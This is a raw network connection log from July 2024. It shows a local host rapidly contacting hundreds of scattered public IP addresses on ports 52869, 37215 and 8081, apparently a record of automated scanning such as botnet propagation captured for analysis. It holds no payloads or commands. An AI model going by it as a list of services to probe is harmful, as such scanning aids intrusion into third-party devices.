Jul 20, 2024 23:01:01.701313019 CEST	49909	52869	192.168.2.14	158.39.197.5
Jul 20, 2024 23:01:01.701313019 CEST	49909	52869	192.168.2.14	112.101.54.108
Jul 20, 2024 23:01:01.701316118 CEST	52869	49909	118.134.156.211	192.168.2.14
Jul 20, 2024 23:01:01.701313019 CEST	49909	52869	192.168.2.14	129.40.55.194
Jul 20, 2024 23:01:01.702347994 CEST	52869	49909	99.148.210.83	192.168.2.14
Jul 20, 2024 23:01:01.702358961 CEST	52869	49909	199.151.138.24	192.168.2.14
Jul 20, 2024 23:01:01.702367067 CEST	52869	49909	122.211.137.245	192.168.2.14
Jul 20, 2024 23:01:01.702375889 CEST	52869	49909	153.100.137.135	192.168.2.14
Jul 20, 2024 23:01:01.702383995 CEST	52869	49909	154.131.192.163	192.168.2.14
Jul 20, 2024 23:01:01.702393055 CEST	52869	49909	196.178.211.213	192.168.2.14
Jul 20, 2024 23:01:01.702400923 CEST	52869	49909	110.31.52.8	192.168.2.14
Jul 20, 2024 23:01:01.702409983 CEST	52869	49909	170.102.253.221	192.168.2.14
Jul 20, 2024 23:01:01.702418089 CEST	52869	49909	62.135.63.177	192.168.2.14
Jul 20, 2024 23:01:01.702478886 CEST	49909	52869	192.168.2.14	114.145.44.184
Jul 20, 2024 23:01:01.702478886 CEST	49909	52869	192.168.2.14	139.103.4.149
Jul 20, 2024 23:01:01.702478886 CEST	49909	52869	192.168.2.14	24.188.208.36
Jul 20, 2024 23:01:01.702478886 CEST	49909	52869	192.168.2.14	25.214.84.187
Jul 20, 2024 23:01:01.702478886 CEST	49909	52869	192.168.2.14	8.144.20.244
Jul 20, 2024 23:01:01.702478886 CEST	49909	52869	192.168.2.14	5.99.224.133
Jul 20, 2024 23:01:01.702480078 CEST	49909	52869	192.168.2.14	14.104.58.202
Jul 20, 2024 23:01:01.702480078 CEST	49909	52869	192.168.2.14	159.232.58.49
Jul 20, 2024 23:01:01.702516079 CEST	52869	49909	65.235.161.255	192.168.2.14
Jul 20, 2024 23:01:01.702670097 CEST	52869	49909	177.119.9.144	192.168.2.14
Jul 20, 2024 23:01:01.702678919 CEST	52869	49909	78.29.202.220	192.168.2.14
Jul 20, 2024 23:01:01.702687979 CEST	52869	49909	111.33.11.248	192.168.2.14
Jul 20, 2024 23:01:01.702836037 CEST	52869	49909	212.166.101.202	192.168.2.14
Jul 20, 2024 23:01:01.702898026 CEST	49909	52869	192.168.2.14	72.184.169.139
Jul 20, 2024 23:01:01.702898026 CEST	49909	52869	192.168.2.14	71.96.116.185
Jul 20, 2024 23:01:01.702898026 CEST	49909	52869	192.168.2.14	196.52.15.30
Jul 20, 2024 23:01:01.702898026 CEST	49909	52869	192.168.2.14	62.62.247.176
Jul 20, 2024 23:01:01.702898026 CEST	49909	52869	192.168.2.14	5.43.253.115
Jul 20, 2024 23:01:01.702996016 CEST	52869	49909	103.220.21.103	192.168.2.14
Jul 20, 2024 23:01:01.703006983 CEST	52869	49909	169.254.184.118	192.168.2.14
Jul 20, 2024 23:01:01.703166008 CEST	52869	49909	143.90.9.36	192.168.2.14
Jul 20, 2024 23:01:01.703330994 CEST	52869	49909	141.144.109.126	192.168.2.14
Jul 20, 2024 23:01:01.703341007 CEST	52869	49909	63.195.250.31	192.168.2.14
Jul 20, 2024 23:01:01.703349113 CEST	52869	49909	122.0.246.134	192.168.2.14
Jul 20, 2024 23:01:01.703464031 CEST	52869	49909	44.146.77.208	192.168.2.14
Jul 20, 2024 23:01:01.704265118 CEST	52725	37215	192.168.2.14	157.246.37.143
Jul 20, 2024 23:01:01.704265118 CEST	52725	37215	192.168.2.14	157.16.165.137
Jul 20, 2024 23:01:01.704265118 CEST	52725	37215	192.168.2.14	41.141.61.183
Jul 20, 2024 23:01:01.704265118 CEST	52725	37215	192.168.2.14	41.227.183.11
Jul 20, 2024 23:01:01.704265118 CEST	52725	37215	192.168.2.14	197.36.193.202
Jul 20, 2024 23:01:01.705956936 CEST	49909	52869	192.168.2.14	35.91.143.191
Jul 20, 2024 23:01:01.705956936 CEST	49909	52869	192.168.2.14	2.115.51.25
Jul 20, 2024 23:01:01.705956936 CEST	49909	52869	192.168.2.14	47.67.168.49
Jul 20, 2024 23:01:01.705956936 CEST	49909	52869	192.168.2.14	111.86.157.53
Jul 20, 2024 23:01:01.705956936 CEST	49909	52869	192.168.2.14	5.108.28.159
Jul 20, 2024 23:01:01.706294060 CEST	49909	52869	192.168.2.14	189.218.75.154
Jul 20, 2024 23:01:01.706294060 CEST	49909	52869	192.168.2.14	108.65.187.201
Jul 20, 2024 23:01:01.706294060 CEST	49909	52869	192.168.2.14	43.145.56.16
Jul 20, 2024 23:01:01.706294060 CEST	49909	52869	192.168.2.14	93.208.115.1
Jul 20, 2024 23:01:01.706294060 CEST	49909	52869	192.168.2.14	85.153.211.131
Jul 20, 2024 23:01:01.706294060 CEST	49909	52869	192.168.2.14	91.62.107.221
Jul 20, 2024 23:01:01.706294060 CEST	49909	52869	192.168.2.14	125.21.119.63
Jul 20, 2024 23:01:01.706294060 CEST	49909	52869	192.168.2.14	153.17.12.37
Jul 20, 2024 23:01:01.706518888 CEST	49909	52869	192.168.2.14	158.121.229.9
Jul 20, 2024 23:01:01.706520081 CEST	49909	52869	192.168.2.14	66.204.170.135
Jul 20, 2024 23:01:01.706520081 CEST	49909	52869	192.168.2.14	131.223.121.74
Jul 20, 2024 23:01:01.706520081 CEST	49909	52869	192.168.2.14	74.52.241.58
Jul 20, 2024 23:01:01.706520081 CEST	49909	52869	192.168.2.14	128.94.105.123
Jul 20, 2024 23:01:01.706520081 CEST	49909	52869	192.168.2.14	31.19.60.241
Jul 20, 2024 23:01:01.706520081 CEST	49909	52869	192.168.2.14	54.52.52.65
Jul 20, 2024 23:01:01.706520081 CEST	49909	52869	192.168.2.14	93.36.79.178
Jul 20, 2024 23:01:01.708420992 CEST	49909	52869	192.168.2.14	117.199.176.147
Jul 20, 2024 23:01:01.708420992 CEST	49909	52869	192.168.2.14	60.68.1.166
Jul 20, 2024 23:01:01.708420992 CEST	49909	52869	192.168.2.14	40.224.141.14
Jul 20, 2024 23:01:01.708420992 CEST	49909	52869	192.168.2.14	168.236.58.106
Jul 20, 2024 23:01:01.708420992 CEST	49909	52869	192.168.2.14	209.87.192.88
Jul 20, 2024 23:01:01.708420992 CEST	49909	52869	192.168.2.14	222.151.202.253
Jul 20, 2024 23:01:01.708420992 CEST	49909	52869	192.168.2.14	51.249.121.241
Jul 20, 2024 23:01:01.708698034 CEST	49909	52869	192.168.2.14	27.79.186.50
Jul 20, 2024 23:01:01.708698034 CEST	49909	52869	192.168.2.14	53.227.50.139
Jul 20, 2024 23:01:01.708698034 CEST	49909	52869	192.168.2.14	45.58.247.35
Jul 20, 2024 23:01:01.708698034 CEST	49909	52869	192.168.2.14	219.114.136.3
Jul 20, 2024 23:01:01.708698034 CEST	49909	52869	192.168.2.14	37.76.28.47
Jul 20, 2024 23:01:01.708698034 CEST	49909	52869	192.168.2.14	180.226.213.253
Jul 20, 2024 23:01:01.708698034 CEST	49909	52869	192.168.2.14	191.67.104.100
Jul 20, 2024 23:01:01.708698034 CEST	49909	52869	192.168.2.14	102.117.6.4
Jul 20, 2024 23:01:01.709081888 CEST	49909	52869	192.168.2.14	38.59.46.16
Jul 20, 2024 23:01:01.709081888 CEST	49909	52869	192.168.2.14	2.166.97.26
Jul 20, 2024 23:01:01.709081888 CEST	49909	52869	192.168.2.14	116.127.249.114
Jul 20, 2024 23:01:01.709081888 CEST	49909	52869	192.168.2.14	89.19.188.162
Jul 20, 2024 23:01:01.709083080 CEST	49909	52869	192.168.2.14	145.181.32.187
Jul 20, 2024 23:01:01.709083080 CEST	49909	52869	192.168.2.14	79.47.50.52
Jul 20, 2024 23:01:01.709083080 CEST	49909	52869	192.168.2.14	185.165.8.181
Jul 20, 2024 23:01:01.709083080 CEST	49909	52869	192.168.2.14	199.190.73.110
Jul 20, 2024 23:01:01.709671974 CEST	49909	52869	192.168.2.14	213.207.143.98
Jul 20, 2024 23:01:01.709671974 CEST	49909	52869	192.168.2.14	152.149.61.199
Jul 20, 2024 23:01:01.709671974 CEST	49909	52869	192.168.2.14	85.70.210.244
Jul 20, 2024 23:01:01.709671974 CEST	49909	52869	192.168.2.14	178.57.58.147
Jul 20, 2024 23:01:01.709671974 CEST	49909	52869	192.168.2.14	2.46.59.12
Jul 20, 2024 23:01:01.709882021 CEST	52725	37215	192.168.2.14	197.122.87.255
Jul 20, 2024 23:01:01.709882021 CEST	52725	37215	192.168.2.14	197.71.69.175
Jul 20, 2024 23:01:01.709882975 CEST	52725	37215	192.168.2.14	197.161.254.227
Jul 20, 2024 23:01:01.709882975 CEST	52725	37215	192.168.2.14	41.124.153.49
Jul 20, 2024 23:01:01.709882975 CEST	52725	37215	192.168.2.14	41.174.248.124
Jul 20, 2024 23:01:01.709882975 CEST	52725	37215	192.168.2.14	197.98.176.181
Jul 20, 2024 23:01:01.709882975 CEST	52725	37215	192.168.2.14	197.49.108.15
Jul 20, 2024 23:01:01.709882975 CEST	52725	37215	192.168.2.14	197.195.128.108
Jul 20, 2024 23:01:01.711627007 CEST	49909	52869	192.168.2.14	72.236.100.198
Jul 20, 2024 23:01:01.711627007 CEST	49909	52869	192.168.2.14	75.250.246.6
Jul 20, 2024 23:01:01.711627007 CEST	49909	52869	192.168.2.14	78.81.76.102
Jul 20, 2024 23:01:01.711627007 CEST	49909	52869	192.168.2.14	147.95.208.99
Jul 20, 2024 23:01:01.711627007 CEST	49909	52869	192.168.2.14	100.219.185.52
Jul 20, 2024 23:01:01.711627007 CEST	49909	52869	192.168.2.14	95.206.145.209
Jul 20, 2024 23:01:01.711627007 CEST	49909	52869	192.168.2.14	173.122.240.164
Jul 20, 2024 23:01:01.711627007 CEST	49909	52869	192.168.2.14	221.52.211.52
Jul 20, 2024 23:01:01.711946964 CEST	49909	52869	192.168.2.14	74.151.195.150
Jul 20, 2024 23:01:01.711946964 CEST	49909	52869	192.168.2.14	64.138.112.197
Jul 20, 2024 23:01:01.711946964 CEST	49909	52869	192.168.2.14	206.224.171.168
Jul 20, 2024 23:01:01.711946964 CEST	49909	52869	192.168.2.14	131.234.166.183
Jul 20, 2024 23:01:01.711946964 CEST	49909	52869	192.168.2.14	13.24.238.21
Jul 20, 2024 23:01:01.711946964 CEST	49909	52869	192.168.2.14	79.111.44.54
Jul 20, 2024 23:01:01.711946964 CEST	49909	52869	192.168.2.14	192.112.181.64
Jul 20, 2024 23:01:01.711946964 CEST	49909	52869	192.168.2.14	43.171.137.2
Jul 20, 2024 23:01:01.712443113 CEST	49909	52869	192.168.2.14	138.35.165.194
Jul 20, 2024 23:01:01.712443113 CEST	49909	52869	192.168.2.14	143.126.143.6
Jul 20, 2024 23:01:01.712443113 CEST	49909	52869	192.168.2.14	96.64.60.179
Jul 20, 2024 23:01:01.712443113 CEST	49909	52869	192.168.2.14	220.75.152.16
Jul 20, 2024 23:01:01.712443113 CEST	49909	52869	192.168.2.14	81.33.167.127
Jul 20, 2024 23:01:01.712443113 CEST	49909	52869	192.168.2.14	70.102.32.237
Jul 20, 2024 23:01:01.712443113 CEST	49909	52869	192.168.2.14	160.80.74.231
Jul 20, 2024 23:01:01.712443113 CEST	49909	52869	192.168.2.14	44.2.56.144
Jul 20, 2024 23:01:01.713306904 CEST	49909	52869	192.168.2.14	169.73.158.246
Jul 20, 2024 23:01:01.713306904 CEST	49909	52869	192.168.2.14	58.141.211.31
Jul 20, 2024 23:01:01.713306904 CEST	49909	52869	192.168.2.14	44.96.234.78
Jul 20, 2024 23:01:01.713306904 CEST	49909	52869	192.168.2.14	40.156.155.77
Jul 20, 2024 23:01:01.713618994 CEST	49909	52869	192.168.2.14	182.189.252.142
Jul 20, 2024 23:01:01.713618994 CEST	49909	52869	192.168.2.14	183.180.39.47
Jul 20, 2024 23:01:01.713618994 CEST	49909	52869	192.168.2.14	66.25.105.41
Jul 20, 2024 23:01:01.713618994 CEST	49909	52869	192.168.2.14	107.157.120.205
Jul 20, 2024 23:01:01.713618994 CEST	49909	52869	192.168.2.14	161.96.67.110
Jul 20, 2024 23:01:01.713618994 CEST	49909	52869	192.168.2.14	109.179.79.88
Jul 20, 2024 23:01:01.713618994 CEST	49909	52869	192.168.2.14	132.118.60.139
Jul 20, 2024 23:01:01.713618994 CEST	49909	52869	192.168.2.14	220.22.123.50
Jul 20, 2024 23:01:01.714875937 CEST	52725	37215	192.168.2.14	197.187.62.184
Jul 20, 2024 23:01:01.714875937 CEST	52725	37215	192.168.2.14	197.79.128.206
Jul 20, 2024 23:01:01.714875937 CEST	52725	37215	192.168.2.14	122.61.140.184
Jul 20, 2024 23:01:01.714875937 CEST	52725	37215	192.168.2.14	157.245.59.6
Jul 20, 2024 23:01:01.714875937 CEST	52725	37215	192.168.2.14	157.92.230.86
Jul 20, 2024 23:01:01.714875937 CEST	52725	37215	192.168.2.14	197.78.40.227
Jul 20, 2024 23:01:01.714876890 CEST	52725	37215	192.168.2.14	41.222.237.27
Jul 20, 2024 23:01:01.714876890 CEST	52725	37215	192.168.2.14	197.112.184.220
Jul 20, 2024 23:01:01.715065002 CEST	52869	49909	44.146.77.208	192.168.2.14
Jul 20, 2024 23:01:01.715070009 CEST	52869	49909	68.78.246.135	192.168.2.14
Jul 20, 2024 23:01:01.715071917 CEST	52869	49909	103.34.192.117	192.168.2.14
Jul 20, 2024 23:01:01.715071917 CEST	52869	49909	171.60.191.198	192.168.2.14
Jul 20, 2024 23:01:01.715073109 CEST	52869	49909	177.15.43.240	192.168.2.14
Jul 20, 2024 23:01:01.715076923 CEST	52869	49909	203.43.248.229	192.168.2.14
Jul 20, 2024 23:01:01.715078115 CEST	52869	49909	184.12.108.77	192.168.2.14
Jul 20, 2024 23:01:01.715079069 CEST	52869	49909	171.126.162.137	192.168.2.14
Jul 20, 2024 23:01:01.715082884 CEST	52869	49909	5.99.224.133	192.168.2.14
Jul 20, 2024 23:01:01.715086937 CEST	52869	49909	223.184.191.223	192.168.2.14
Jul 20, 2024 23:01:01.715090036 CEST	52869	49909	218.187.102.240	192.168.2.14
Jul 20, 2024 23:01:01.715092897 CEST	52869	49909	112.104.226.150	192.168.2.14
Jul 20, 2024 23:01:01.715096951 CEST	52869	49909	223.253.7.175	192.168.2.14
Jul 20, 2024 23:01:01.715100050 CEST	52869	49909	114.145.44.184	192.168.2.14
Jul 20, 2024 23:01:01.715102911 CEST	52869	49909	159.232.58.49	192.168.2.14
Jul 20, 2024 23:01:01.715106964 CEST	52869	49909	31.205.16.228	192.168.2.14
Jul 20, 2024 23:01:01.715107918 CEST	52869	49909	128.255.92.0	192.168.2.14
Jul 20, 2024 23:01:01.715107918 CEST	52869	49909	139.103.4.149	192.168.2.14
Jul 20, 2024 23:01:01.715109110 CEST	52869	49909	131.180.90.129	192.168.2.14
Jul 20, 2024 23:01:01.715109110 CEST	52869	49909	193.177.140.251	192.168.2.14
Jul 20, 2024 23:01:01.715112925 CEST	52869	49909	24.188.208.36	192.168.2.14
Jul 20, 2024 23:01:01.715114117 CEST	52869	49909	25.214.84.187	192.168.2.14
Jul 20, 2024 23:01:01.715116978 CEST	52869	49909	8.144.20.244	192.168.2.14
Jul 20, 2024 23:01:01.715120077 CEST	52869	49909	115.228.148.224	192.168.2.14
Jul 20, 2024 23:01:01.715123892 CEST	52869	49909	31.19.60.241	192.168.2.14
Jul 20, 2024 23:01:01.715126991 CEST	52869	49909	38.15.50.186	192.168.2.14
Jul 20, 2024 23:01:01.715127945 CEST	52869	49909	98.4.99.174	192.168.2.14
Jul 20, 2024 23:01:01.715135098 CEST	52869	49909	14.104.58.202	192.168.2.14
Jul 20, 2024 23:01:01.715140104 CEST	52869	49909	158.121.229.9	192.168.2.14
Jul 20, 2024 23:01:01.715141058 CEST	52869	49909	133.80.113.43	192.168.2.14
Jul 20, 2024 23:01:01.715141058 CEST	52869	49909	66.204.170.135	192.168.2.14
Jul 20, 2024 23:01:01.715142012 CEST	52869	49909	131.223.121.74	192.168.2.14
Jul 20, 2024 23:01:01.715142012 CEST	52869	49909	74.52.241.58	192.168.2.14
Jul 20, 2024 23:01:01.715142965 CEST	52869	49909	128.94.105.123	192.168.2.14
Jul 20, 2024 23:01:01.715142965 CEST	52869	49909	17.250.24.115	192.168.2.14
Jul 20, 2024 23:01:01.715143919 CEST	52869	49909	66.33.16.41	192.168.2.14
Jul 20, 2024 23:01:01.715143919 CEST	52869	49909	27.79.186.50	192.168.2.14
Jul 20, 2024 23:01:01.715147018 CEST	52869	49909	53.227.50.139	192.168.2.14
Jul 20, 2024 23:01:01.715244055 CEST	52869	49909	54.52.52.65	192.168.2.14
Jul 20, 2024 23:01:01.715436935 CEST	49909	52869	192.168.2.14	90.146.163.93
Jul 20, 2024 23:01:01.715436935 CEST	49909	52869	192.168.2.14	35.112.217.187
Jul 20, 2024 23:01:01.715436935 CEST	49909	52869	192.168.2.14	38.32.235.210
Jul 20, 2024 23:01:01.715436935 CEST	49909	52869	192.168.2.14	36.198.164.211
Jul 20, 2024 23:01:01.715436935 CEST	49909	52869	192.168.2.14	126.63.129.65
Jul 20, 2024 23:01:01.715436935 CEST	49909	52869	192.168.2.14	209.180.225.131
Jul 20, 2024 23:01:01.715773106 CEST	49909	52869	192.168.2.14	167.198.197.126
Jul 20, 2024 23:01:01.715773106 CEST	49909	52869	192.168.2.14	49.4.5.112
Jul 20, 2024 23:01:01.715773106 CEST	49909	52869	192.168.2.14	112.188.71.20
Jul 20, 2024 23:01:01.715773106 CEST	49909	52869	192.168.2.14	110.190.196.16
Jul 20, 2024 23:01:01.715773106 CEST	49909	52869	192.168.2.14	139.142.224.17
Jul 20, 2024 23:01:01.715773106 CEST	49909	52869	192.168.2.14	72.13.90.187
Jul 20, 2024 23:01:01.715773106 CEST	49909	52869	192.168.2.14	20.117.159.93
Jul 20, 2024 23:01:01.715773106 CEST	49909	52869	192.168.2.14	136.254.36.162
Jul 20, 2024 23:01:01.715877056 CEST	49909	52869	192.168.2.14	177.149.239.158
Jul 20, 2024 23:01:01.715877056 CEST	52725	37215	192.168.2.14	41.107.116.218
Jul 20, 2024 23:01:01.715877056 CEST	52725	37215	192.168.2.14	157.84.58.6
Jul 20, 2024 23:01:01.715877056 CEST	52725	37215	192.168.2.14	197.202.152.139
Jul 20, 2024 23:01:01.715877056 CEST	52725	37215	192.168.2.14	158.122.212.23
Jul 20, 2024 23:01:01.715877056 CEST	52725	37215	192.168.2.14	157.205.73.131
Jul 20, 2024 23:01:01.716104984 CEST	52869	49909	161.154.222.94	192.168.2.14
Jul 20, 2024 23:01:01.716114998 CEST	52869	49909	45.58.247.35	192.168.2.14
Jul 20, 2024 23:01:01.716124058 CEST	52869	49909	110.140.251.208	192.168.2.14
Jul 20, 2024 23:01:01.716381073 CEST	49909	52869	192.168.2.14	62.238.130.208
Jul 20, 2024 23:01:01.716381073 CEST	49909	52869	192.168.2.14	100.177.38.48
Jul 20, 2024 23:01:01.716381073 CEST	49909	52869	192.168.2.14	177.133.134.55
Jul 20, 2024 23:01:01.717797041 CEST	49909	52869	192.168.2.14	135.138.253.170
Jul 20, 2024 23:01:01.717797041 CEST	49909	52869	192.168.2.14	179.229.228.252
Jul 20, 2024 23:01:01.717797041 CEST	49909	52869	192.168.2.14	13.100.171.44
Jul 20, 2024 23:01:01.717797041 CEST	49909	52869	192.168.2.14	176.71.117.7
Jul 20, 2024 23:01:01.717797041 CEST	49909	52869	192.168.2.14	57.201.12.20
Jul 20, 2024 23:01:01.717797041 CEST	49909	52869	192.168.2.14	203.78.175.2
Jul 20, 2024 23:01:01.717797041 CEST	49909	52869	192.168.2.14	125.140.107.93
Jul 20, 2024 23:01:01.717797041 CEST	49909	52869	192.168.2.14	65.175.199.89
Jul 20, 2024 23:01:01.718228102 CEST	52869	49909	219.114.136.3	192.168.2.14
Jul 20, 2024 23:01:01.718241930 CEST	49909	52869	192.168.2.14	188.210.108.3
Jul 20, 2024 23:01:01.718242884 CEST	49909	52869	192.168.2.14	116.249.152.16
Jul 20, 2024 23:01:01.718244076 CEST	52869	49909	152.88.174.227	192.168.2.14
Jul 20, 2024 23:01:01.718242884 CEST	49909	52869	192.168.2.14	77.15.206.197
Jul 20, 2024 23:01:01.718242884 CEST	49909	52869	192.168.2.14	78.235.37.214
Jul 20, 2024 23:01:01.718242884 CEST	49909	52869	192.168.2.14	182.122.20.48
Jul 20, 2024 23:01:01.718242884 CEST	49909	52869	192.168.2.14	206.17.196.39
Jul 20, 2024 23:01:01.718242884 CEST	49909	52869	192.168.2.14	85.236.184.176
Jul 20, 2024 23:01:01.718242884 CEST	49909	52869	192.168.2.14	219.191.122.98
Jul 20, 2024 23:01:01.719039917 CEST	52725	37215	192.168.2.14	197.165.176.194
Jul 20, 2024 23:01:01.719039917 CEST	52725	37215	192.168.2.14	197.203.38.106
Jul 20, 2024 23:01:01.719039917 CEST	52725	37215	192.168.2.14	41.129.204.78
Jul 20, 2024 23:01:01.719039917 CEST	52725	37215	192.168.2.14	119.111.116.199
Jul 20, 2024 23:01:01.719039917 CEST	52725	37215	192.168.2.14	197.159.162.218
Jul 20, 2024 23:01:01.719039917 CEST	52725	37215	192.168.2.14	41.69.18.54
Jul 20, 2024 23:01:01.719039917 CEST	52725	37215	192.168.2.14	197.133.225.53
Jul 20, 2024 23:01:01.719039917 CEST	52725	37215	192.168.2.14	41.83.182.39
Jul 20, 2024 23:01:01.719491959 CEST	52869	49909	176.135.35.83	192.168.2.14
Jul 20, 2024 23:01:01.720345974 CEST	52869	49909	37.76.28.47	192.168.2.14
Jul 20, 2024 23:01:01.720452070 CEST	52869	49909	93.36.79.178	192.168.2.14
Jul 20, 2024 23:01:01.720654011 CEST	52869	49909	138.35.165.194	192.168.2.14
Jul 20, 2024 23:01:01.720830917 CEST	49909	52869	192.168.2.14	31.235.249.101
Jul 20, 2024 23:01:01.720830917 CEST	49909	52869	192.168.2.14	64.117.200.225
Jul 20, 2024 23:01:01.720830917 CEST	49909	52869	192.168.2.14	39.70.52.243
Jul 20, 2024 23:01:01.720830917 CEST	49909	52869	192.168.2.14	170.123.158.68
Jul 20, 2024 23:01:01.720830917 CEST	49909	52869	192.168.2.14	91.209.91.142
Jul 20, 2024 23:01:01.720830917 CEST	49909	52869	192.168.2.14	118.44.218.190
Jul 20, 2024 23:01:01.720926046 CEST	49909	52869	192.168.2.14	190.120.169.109
Jul 20, 2024 23:01:01.720926046 CEST	49909	52869	192.168.2.14	149.3.41.152
Jul 20, 2024 23:01:01.720926046 CEST	49909	52869	192.168.2.14	98.212.47.174
Jul 20, 2024 23:01:01.720926046 CEST	49909	52869	192.168.2.14	47.176.29.89
Jul 20, 2024 23:01:01.720926046 CEST	49909	52869	192.168.2.14	53.61.246.149
Jul 20, 2024 23:01:01.720926046 CEST	49909	52869	192.168.2.14	70.32.28.235
Jul 20, 2024 23:01:01.720926046 CEST	49909	52869	192.168.2.14	191.219.60.78
Jul 20, 2024 23:01:01.720926046 CEST	49909	52869	192.168.2.14	131.84.55.94
Jul 20, 2024 23:01:01.721178055 CEST	49909	52869	192.168.2.14	49.92.4.36
Jul 20, 2024 23:01:01.721178055 CEST	49909	52869	192.168.2.14	169.3.168.159
Jul 20, 2024 23:01:01.721178055 CEST	49909	52869	192.168.2.14	14.213.163.243
Jul 20, 2024 23:01:01.721178055 CEST	49909	52869	192.168.2.14	112.151.203.235
Jul 20, 2024 23:01:01.721178055 CEST	49909	52869	192.168.2.14	173.155.49.234
Jul 20, 2024 23:01:01.721178055 CEST	49909	52869	192.168.2.14	119.216.248.126
Jul 20, 2024 23:01:01.721178055 CEST	49909	52869	192.168.2.14	116.111.66.143
Jul 20, 2024 23:01:01.721476078 CEST	52869	49909	143.126.143.6	192.168.2.14
Jul 20, 2024 23:01:01.721860886 CEST	52869	49909	96.64.60.179	192.168.2.14
Jul 20, 2024 23:01:01.721869946 CEST	52869	49909	220.75.152.16	192.168.2.14
Jul 20, 2024 23:01:01.721878052 CEST	52869	49909	81.33.167.127	192.168.2.14
Jul 20, 2024 23:01:01.721967936 CEST	52725	37215	192.168.2.14	41.226.182.0
Jul 20, 2024 23:01:01.721967936 CEST	52725	37215	192.168.2.14	41.44.153.32
Jul 20, 2024 23:01:01.721967936 CEST	52725	37215	192.168.2.14	70.103.57.174
Jul 20, 2024 23:01:01.721967936 CEST	52725	37215	192.168.2.14	157.41.234.104
Jul 20, 2024 23:01:01.721967936 CEST	52725	37215	192.168.2.14	41.198.144.50
Jul 20, 2024 23:01:01.721967936 CEST	52725	37215	192.168.2.14	157.13.78.26
Jul 20, 2024 23:01:01.721967936 CEST	52725	37215	192.168.2.14	23.171.217.129
Jul 20, 2024 23:01:01.721967936 CEST	52725	37215	192.168.2.14	157.41.54.250
Jul 20, 2024 23:01:01.722939014 CEST	52869	49909	180.226.213.253	192.168.2.14
Jul 20, 2024 23:01:01.723459005 CEST	49909	52869	192.168.2.14	204.53.71.93
Jul 20, 2024 23:01:01.723459005 CEST	49909	52869	192.168.2.14	134.61.70.121
Jul 20, 2024 23:01:01.723459005 CEST	49909	52869	192.168.2.14	105.81.188.11
Jul 20, 2024 23:01:01.723459005 CEST	49909	52869	192.168.2.14	188.32.206.19
Jul 20, 2024 23:01:01.723459005 CEST	49909	52869	192.168.2.14	61.153.7.70
Jul 20, 2024 23:01:01.723459005 CEST	49909	52869	192.168.2.14	65.11.129.120
Jul 20, 2024 23:01:01.723459005 CEST	49909	52869	192.168.2.14	185.221.121.133
Jul 20, 2024 23:01:01.723459959 CEST	49909	52869	192.168.2.14	66.244.81.164
Jul 20, 2024 23:01:01.723699093 CEST	52869	49909	191.67.104.100	192.168.2.14
Jul 20, 2024 23:01:01.723720074 CEST	52869	49909	70.102.32.237	192.168.2.14
Jul 20, 2024 23:01:01.723730087 CEST	52869	49909	102.117.6.4	192.168.2.14
Jul 20, 2024 23:01:01.723787069 CEST	49909	52869	192.168.2.14	183.209.119.234
Jul 20, 2024 23:01:01.723788023 CEST	49909	52869	192.168.2.14	195.164.92.202
Jul 20, 2024 23:01:01.723788023 CEST	49909	52869	192.168.2.14	27.248.118.30
Jul 20, 2024 23:01:01.723788023 CEST	49909	52869	192.168.2.14	58.207.233.109
Jul 20, 2024 23:01:01.723788023 CEST	49909	52869	192.168.2.14	61.90.232.252
Jul 20, 2024 23:01:01.723788023 CEST	49909	52869	192.168.2.14	54.189.221.44
Jul 20, 2024 23:01:01.723788023 CEST	49909	52869	192.168.2.14	132.34.228.144
Jul 20, 2024 23:01:01.723788023 CEST	49909	52869	192.168.2.14	102.243.20.210
Jul 20, 2024 23:01:01.723876953 CEST	52869	49909	160.80.74.231	192.168.2.14
Jul 20, 2024 23:01:01.723886967 CEST	52869	49909	44.2.56.144	192.168.2.14
Jul 20, 2024 23:01:01.723932981 CEST	52725	37215	192.168.2.14	41.54.174.227
Jul 20, 2024 23:01:01.723933935 CEST	52725	37215	192.168.2.14	157.218.44.108
Jul 20, 2024 23:01:01.723933935 CEST	52725	37215	192.168.2.14	157.159.13.2
Jul 20, 2024 23:01:01.723933935 CEST	52725	37215	192.168.2.14	197.53.238.209
Jul 20, 2024 23:01:01.723933935 CEST	50165	8081	192.168.2.14	90.38.163.133
Jul 20, 2024 23:01:01.723933935 CEST	50165	8081	192.168.2.14	65.61.160.164
Jul 20, 2024 23:01:01.723933935 CEST	50165	8081	192.168.2.14	145.28.75.115
Jul 20, 2024 23:01:01.724219084 CEST	52869	49909	72.236.100.198	192.168.2.14
Jul 20, 2024 23:01:01.724546909 CEST	52869	49909	75.250.246.6	192.168.2.14
Jul 20, 2024 23:01:01.724555969 CEST	52869	49909	62.238.130.208	192.168.2.14
Jul 20, 2024 23:01:01.724679947 CEST	52869	49909	100.177.38.48	192.168.2.14
Jul 20, 2024 23:01:01.724689007 CEST	52869	49909	177.149.239.158	192.168.2.14
Jul 20, 2024 23:01:01.725233078 CEST	49909	52869	192.168.2.14	101.246.184.157
Jul 20, 2024 23:01:01.725233078 CEST	49909	52869	192.168.2.14	24.148.63.65
Jul 20, 2024 23:01:01.725233078 CEST	49909	52869	192.168.2.14	98.49.158.78
Jul 20, 2024 23:01:01.725233078 CEST	49909	52869	192.168.2.14	203.174.113.107
Jul 20, 2024 23:01:01.725233078 CEST	49909	52869	192.168.2.14	166.151.174.122
Jul 20, 2024 23:01:01.725233078 CEST	49909	52869	192.168.2.14	181.76.169.112
Jul 20, 2024 23:01:01.725233078 CEST	49909	52869	192.168.2.14	186.34.74.65
Jul 20, 2024 23:01:01.725233078 CEST	49909	52869	192.168.2.14	86.112.24.122
Jul 20, 2024 23:01:01.726182938 CEST	49909	52869	192.168.2.14	103.179.73.163
Jul 20, 2024 23:01:01.726182938 CEST	49909	52869	192.168.2.14	60.161.151.139
Jul 20, 2024 23:01:01.726182938 CEST	49909	52869	192.168.2.14	176.74.248.75
Jul 20, 2024 23:01:01.726182938 CEST	49909	52869	192.168.2.14	173.103.182.239
Jul 20, 2024 23:01:01.726182938 CEST	49909	52869	192.168.2.14	72.244.128.159
Jul 20, 2024 23:01:01.726182938 CEST	49909	52869	192.168.2.14	134.3.65.135
Jul 20, 2024 23:01:01.726182938 CEST	49909	52869	192.168.2.14	129.9.42.102
Jul 20, 2024 23:01:01.726182938 CEST	49909	52869	192.168.2.14	41.48.198.141
Jul 20, 2024 23:01:01.726198912 CEST	52869	49909	78.81.76.102	192.168.2.14
Jul 20, 2024 23:01:01.726284981 CEST	49909	52869	192.168.2.14	112.236.210.206
Jul 20, 2024 23:01:01.726284981 CEST	49909	52869	192.168.2.14	138.222.128.120
Jul 20, 2024 23:01:01.726284981 CEST	49909	52869	192.168.2.14	27.79.119.12
